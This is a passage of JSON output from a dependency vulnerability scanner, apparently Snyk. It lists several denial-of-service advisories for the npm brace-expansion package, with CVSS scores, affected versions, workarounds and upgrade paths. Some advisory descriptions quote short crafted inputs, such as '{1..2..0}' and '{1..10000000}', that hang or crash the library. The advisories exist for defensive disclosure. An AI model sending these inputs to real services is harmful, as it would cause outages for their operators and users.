"publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:14.560643Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmversion@8.0.3", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmversion@8.0.4", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.47168", "probability": "0.00623", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:37.934109Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmversion@8.0.3", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmversion@8.0.4", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.34118", "probability": "0.00430", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-16T02:01:19.320993Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.22128", "probability": "0.00300", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-18T02:01:26.570047Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.38245", "probability": "0.00466", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:14.560643Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.47168", "probability": "0.00623", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": 